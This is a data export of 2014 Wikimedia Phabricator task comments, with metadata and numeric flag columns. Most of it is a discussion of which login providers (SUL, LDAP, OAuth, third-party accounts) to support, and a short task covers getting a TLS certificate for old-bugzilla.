+We will want to audit the modules for security, and possibly hack in some sort of messaging that says it's up to the user to protect their own privacy. But otherwise I don't see any issues with turning on other providers.",,,1410484846,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1
+122,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-13 20:18:14 (UTC)`
+
+> There are two questions here:
+> # Are we not allowing users to use Facebook/Twitter/Google login credentials in Wikimedia servers because MediaWiki cannot handle this feature or because we have another type of objection about it?
+> # If the only problem for using 3rd party authentication providers is a MediaWiki limitation that we don't have in Phabricator, would it be ok to offer these alternative authentication providers in our Wikimedia Phabricator instance in production?
+
+The answer to #1 is ""it's complicated"". The answer for #2 is IMO, yes. The support for this already exists in Phabricator, and offering multiple providers is a great way to reduce the potential barrier to entry. As long as we keep the number of additional providers to a minimum (i.e. not the eight different ones secure.phabricator.org provides) and choose some sensible ones (Google, GitHub, Persona, for examples) then I think it's a great idea. 
+
+",,,1410484845,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+121,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**jdforrester** wrote on `2014-05-13 19:51:22 (UTC)`
+
+> Are we not allowing users to use [third party logins] because we have another type of objection about it?
+
+Yes. Endless arguments about this, but ultimately it comes down to privacy/pseudo-anonymity and approving by selection of some services over others.",,,1410484845,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+120,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-13 18:58:39 (UTC)`
+
+Moving this task back to the discussion board. Reassigning it to... me? because this is ultimately a community decision.
+
+There are two questions here:
+
+# Are we not allowing users to use Facebook/Twitter/Google login credentials in Wikimedia servers because MediaWiki cannot handle this feature or because we have another type of objection about it?
+# If the only problem for using 3rd party authentication providers is a MediaWiki limitation that we don't have in Phabricator, would it be ok to offer these alternative authentication providers in our Wikimedia Phabricator instance in production?
+
+If offering 3rd party providers is fine, then we can discuss which ones.",,,1410484845,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+119,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**scfc** wrote on `2014-05-10 23:24:40 (UTC)`
+
+@qgil:
+
+> We could also allow users to sign-in to Wikipedia with the thir Google, Facebook, Twitter accounts, but we are not doing it. Why not? And could be the same reasons applicable here?
+
+If I remember last year's discussions on wikitech-l correctly, the main obstacle was that MediaWiki wasn't built with that in mind, Extension:OpenID hasn't been properly reviewed yet, etc.  AFAIUY, Phabricator has tested and deployed support for acting as an OpenID consumer.",,,1410484844,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+118,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-10 21:08:17 (UTC)`
+
+We could also allow users to sign-in to Wikipedia with the thir Google, Facebook, Twitter accounts, but we are not doing it. Why not? And could be the same reasons applicable here?",,,1410484844,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+117,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**scfc** wrote on `2014-05-10 15:43:08 (UTC)`
+
++1 to @gpaumier.  If Wikimedia OAuth[12] is ready by Day 1, that would be awesome, but what's the harm in allowing for example Google accounts as well?",,,1410484844,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,0
+116,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**gpaumier** wrote on `2014-05-10 08:56:08 (UTC)`
+
+I wouldn't close the door on other (external) identity providers. Wikimedia credentials make a lot of sense for most of our current audience (MediaWiki developers and Wikimedia editors); but since we're discussing increasing the number of partnerships with other organizations (upstream, downstream, software user groups, etc.), it would make sense to let them use existing credentials from another identity provider (the usual suspects being Google, Persona, GitHub, OpenID, etc.) instead of having them create an account on Wikimedia sites that they don't have any use for.
+
+tl;dr: Using Wikimedia credentials as primary identity provider sounds good, but if it's possible to keep others without too much overhead, I think there would be value in leaving that door open.",,,1410484843,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1
+115,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-10 08:45:01 (UTC)`
+
+https://www.mediawiki.org/wiki/Requests_for_comment/Phabricator/Plan#General says:
+
+> Users log in to Phabricator with their Wikimedia credentials.
+
+Can we close this task agreeing that this is the provider selected? Wikimedia credentials, no less, no more.",,,1410484843,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1
+114,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-05-06 00:49:54 (UTC)`
+
+> For people without a SUL account, we could even consider creating one when they create an account on Phabricator.
+
+Before I was thinking that people could create a Phabricator account (using the normal Phabricator account creation flow), then we would create a CentralAuth account behind the scenes.
+
+But if our OAuth flow allows creating accounts just prior to authorization (which it seems like it does, if you explicitly click Join MediaWiki), that's not necessary.",,,1410484843,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+113,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-04-30 19:40:52 (UTC)`
+
+Just a minor update, it looks like Phabricator supports twitter and jira OAuth 1 providers. It looks like it would be fairly simple to integrate mediawiki's OAuth 1 provider as an auth plugin, if we don't want to wait on using OAuth2. (note to future self, it looks like we can call and verify mediawiki's /identify method in the getAccountID() call)",,,1410484842,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+112,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-30 17:23:18 (UTC)`
+
+Alright, this means that
+
+* users logged in to e.g. mediawiki.org will not be automatically logged in to Wikimedia Phabricator
+* but users with an account in e.g. mediawiki.org will be able to log in to Wikimedia Phabricator with the same credentials
+
+This scenario requires that we support OAuth 2.0 in the Wikimedia cluster, which is not a trivial task.
+
+What do you think about making this a blocker for the Wikimedia Phabricator deployment? The benefits would be huge, but the commitment to deliver this feature is expensive. It seems to be one of those features that would need to be enabled since day 1, although maybe there is another sensible, more flexible scenario. It would be also good to know if anybody else would benefit from having OAuth 2.0 implemented in Wikimedia servers.
+
+In any case, I will link this task with the need for proper resourcing.",,,1410484842,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,1,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+111,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-04-29 15:57:38 (UTC)`
+
+Supporting ""SUL"" might be problematic, depending on the definition. If you're thinking sharing cookies with CentralAuth, I would generally discourage this. We currently can tolerate minor security issues (e.g., XSS that only affects older IE) on Bugzilla because we're not sharing authentication. If we do share authentication, then it becomes a liability for us.
+
+The current OAuth extension doesn't support OAuth2 yet. I'll try and figure out what flows phabricator needs, and if that's one we're likely to support.",,,1410484842,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+110,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-29 00:29:52 (UTC)`
+
+> For people without a SUL account, we could even consider creating one when they create an account on Phabricator.
+
++1 because in practice this means that we support Wikimedia SUL only. Simple.
+
+> It would be good to also import the existing Bugzilla users, but I'm not sure how feasible that is.
+
+It is probably better to let them register with SUL and then claim their email addresses via http://fab.wmflabs.org/settings/panel/email/
+
+I'm not sure whether this would connect automatically their usernames with the bugs & comments imported and associated with their email addresses. It is something to consider when planning the migration. Related: T39#27.",,,1410484841,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,1,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+109,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-04-29 00:08:29 (UTC)`
+
+> Even if at the beginning I was quite enthusiastic about using many providers, maybe it makes sense to use only Wikimedia SUL / LDAP?
+
+I think Wikimedia SUL, plus local signup, may be enough going forward, especially if [SUL finalization](https://en.wikipedia.org/wiki/Wikipedia:Unified_login/Finalization) is done by then.  I think most people with a Wikitech/LDAP login also have a login on the main projects (SUL), and if not, this is a good time to get one.
+
+For people without a SUL account, we could even consider creating one when they create an account on Phabricator.  I'm not sure how troublesome that would be on the CentralAuth side.
+
+It would be good to also import the existing Bugzilla users, but I'm not sure how feasible that is.",,,1410484841,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+108,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-21 19:06:20 (UTC)`
+
+Finding out that someone else got Qgil (SUL) / QuimGil (LDAP) with obscure intentions would be kind of awkward, but how big of a problem would this be? I would still be the only one able to connect with my account the email addresses that describe my activity in Bugzilla and Git/Gerrit. 
+
+Maybe we can populate the table of usernames with SUL / LDAP in order to minimize this problem?
+
+It looks like we could just disable the ""Username/Password"" provider in the Wikimedia Phabricator instance, forcing users to create accounts through their Wikimedia LDAP or SUL accounts.
+
+LDAP accounts have username and email address, both required in Phabricator. If we could pre-fill our Ph table of users with the LDAP data, that would bring us a long way. LDAP users would only need to reset their passwords and log in.
+
+Is SUL also requiring email address? Email is still optional in Wikimedia sites. What would happen if a user without email defined in their SUL account wants to log in for the first time to Phabricator?
+
+Phabricator users can add email addresses to their account. I wonder if this option could be used to associate your contributions to Bugzilla, Git, and Gerrit to your Ph account.
+
+Wikimedia Google accounts... I don't see the benefit, This is in fact the service I used to register with my wikimedia.org account in http://secure.phabricator.com , but in our context here any WMF employee is expected to have a Wikimedia SUL account (and anybody in the Engineering department should have a LDAP account as well). Even if at the beginning I was quite enthusiastic about using many providers, maybe it makes sense to use only Wikimedia SUL / LDAP?",,,1410484840,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+107,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Krenair** wrote on `2014-04-21 17:38:17 (UTC)`
+
+@qgil: As we can have multiple different identity sources, I think it would make sense to support most of the major ones Wikimedia uses, so:
+* CA/SUL (most public wikis)
+* LDAP used for Wikitech/Labs/Gerrit
+* Wikimedia Google accounts (mostly for staff)
+
+@robla: Hmm... Maybe it should require the SUL name, but why not another system instead?",,,1410484840,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,1,0
+106,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**robla** wrote on `2014-04-21 17:20:36 (UTC)`
+
+The fact that Phabricator lets you bind to multiple authentication providers is kinda awesome, and is going to simplify many things.  However, we still have one complicating factor here, which is that the actual user identifiers are first come, first serve.  So, if I happen to be first, I could register ""qgil"" as my username, then associate that account with ""User:RobLa"" on Wikipedia.  The system is really none-the-wiser; it would happily give me ""qgil"" or ""jimbo"" or whatever I want.
+
+Some things can be fixed after the fact by renaming users (Phabricator supports this), but there are [[ https://secure.phabricator.com/diffusion/P/browse/master/src/applications/people/controller/PhabricatorPeopleRenameController.php;28696d08ac424116e02c21ab071d0d6005184eb3$61 | ample disclaimers in the ""Change Username"" interface]] such that it's pretty clear leaning on it too heavily is fraught with danger.  We may need to force authentication through SUL in order to claim a username in use on the projects, which may require some Phabricator customization to pull off well. ",,,1410484840,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+105,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-21 17:04:58 (UTC)`
+
+Wikimedia Unified Login should be certainly part of the mix. Do we want to add compatibility with LDAP Wikitech accounts? 
+
+If I read the documentation correctly, user can merge these different identities under their Phabricator username. This would support these likely cases:
+
+* Wikimedia user @WikiEnthusiastic creates an account in Phabricator, and then discovers that their Wikimedia credentials would have been enough. After logging again through Wikimedia SUL, he is able to //merge// both under the same identity.
+* Wikimedia developer is known as HelpfulMary in Wikimedia projects, as HelpfulMaryDev in Wikitech-Gerrit-Labs, and a helpful@mary.org in Bugzilla. She can claim her previous work under a single Phabricator ID.",,,1410484839,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0
+104,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-21 02:22:07 (UTC)`
+
+Demonstrating Wikimedia SSO would be useful already in this instance, as part of the Phabricator RfC. Is it difficult to set up?",,,1410484839,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+103,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Krenair** wrote on `2014-04-20 16:29:21 (UTC)`
+
+Why don't we have both LDAP and Wikimedia CentralAuth (via OAuth2) as possible auth providers?",,,1410484839,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+102,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-04 06:41:06 (UTC)`
+
+https://secure.phabricator.com/book/phabricator/article/configuring_accounts_and_registration/
+
+Alright, so many identificator providers may coexist. We could create one for Wikimedia (could we or would it make sense to add another one for Wikitech?), and then it is really up to us to add GitHub, Google, Facebook, Amazon, Persona... Once you have created your account, you can add more identifiers.
+
+It is still unclear to me how can you ""claim"" the email addresses used in your patches and bug reports, in order to get those patches and tasks related to your username, but maybe this is a separate task?",,,1410484838,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0
+101,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-04-03 23:39:00 (UTC)`
+
+Without having a clue about the possibilities, something like this would be ideal:
+
+  - existing Wikimedia users could just use SSO
+  - new users (or whoever wants a separate username) could create an account here
+  - existing accounts could claim their email addresses used in Gerrit and Bugzilla
+
+There would be details to solve (e.g. if I register an own account, can I merge my Wikimedia account later on?), all secondary.
+
+PS: keeping ignoring the possibilities, something like ""Login with your GitHub (and etc) account"" would be also nice. No barriers to get your username here.",,,1410484838,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,1,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+84704,URGENT: CERT for old-bugzilla.wikimedia.org,"**Author:** `qgil@wikimedia.org`
+
+**Description:**
+%%%Sorry for this last minute notice.%%%
+%%%Can we get a CERT for old-bugzilla.wikimedia.org?%%%
+%%%This is related to the Bugzilla - Phabricator migration. We had forgot this%%%
+%%%little detail.%%%
+%%%I can assume the cost of the CERT from the Engineering Community budget.%%%
+%%%Thank you in advance.%%%
+%%%--%%%
+%%%Quim Gil%%%
+%%%Engineering Community Manager @ Wikimedia Foundation%%%
+%%%http://www.mediawiki.org/wiki/User:Qgil%%%
+",Medium,50.0,1416613448,1418860800.0,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,False,PHID-TASK-rlhi7yxbtv2ak22guh73,task_description,declined,True,c3,1,False,False,True,-32,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,1
+390232,URGENT: CERT for old-bugzilla.wikimedia.org,//Status changed from 'open' to 'rejected' by dzahn//,,,1416882171,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+390225,URGENT: CERT for old-bugzilla.wikimedia.org,//Status changed from 'new' to 'open' by RT_System//,,,1416882163,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+390216,URGENT: CERT for old-bugzilla.wikimedia.org,"%%%we solved this issue by moving old-bugzilla behind misc-web varnish/nginx layer%%%
+%%%instead.%%%
+%%%that way it gets to use the wildcard *.wikimedia.org cert and we don't have to%%%
+%%%buy anything, but the error should be gone.%%%
+%%%related changes:%%%
+%%%https://gerrit.wikimedia.org/r/#/c/175595/%%%
+%%%https://gerrit.wikimedia.org/r/#/c/175601/%%%
+%%%https://gerrit.wikimedia.org/r/#/c/175615/%%%
+%%%https://gerrit.wikimedia.org/r/#/c/175646/%%%
+%%%so the issue is resolved but i'm technically saying ""rejected"" because we won't%%%
+%%%buy a new cert :)%%%",,,1416882162,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+390207,URGENT: CERT for old-bugzilla.wikimedia.org,Issue taken by **dzahn**,,,1416882058,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
